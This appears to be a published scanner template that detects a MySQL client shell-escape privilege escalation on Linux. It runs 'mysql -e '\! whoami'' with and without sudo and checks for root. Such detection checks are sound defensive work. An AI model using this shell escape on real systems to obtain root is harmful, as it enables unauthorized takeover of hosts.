privesc-mysql: MySQL - Privilege Escalation

2025-08-01 MySQL PoC Public

Description

MySQL is an open-source relational database management system (RDBMS) that uses structured query language (SQL) for managing and manipulating data. It is widely used for web applications and is known for its reliability, ease of use, and performance. MySQL is a popular choice for database-driven applications and is supported on various platforms.

PoC

id: privesc-mysql

info:
  name: MySQL - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    MySQL is an open-source relational database management system (RDBMS) that uses structured query language (SQL) for managing and manipulating data. It is widely used for web applications and is known for its reliability, ease of use, and performance. MySQL is a popular choice for database-driven applications and is supported on various platforms.
  reference:
    - https://gtfobins.github.io/gtfobins/mysql/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,mysql,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      mysql -e '\! whoami'

  - engine:
      - sh
      - bash
    source: |
      sudo mysql -e '\! whoami'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a00473045022100d230b1d673028ba13c3ab73fee9fd24f3c85048593ac26d8c8e63b2675889fb5022015dbdbb2748696d1049418af0d57d5fc3772e3bde116445d71181fe2e05987bb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities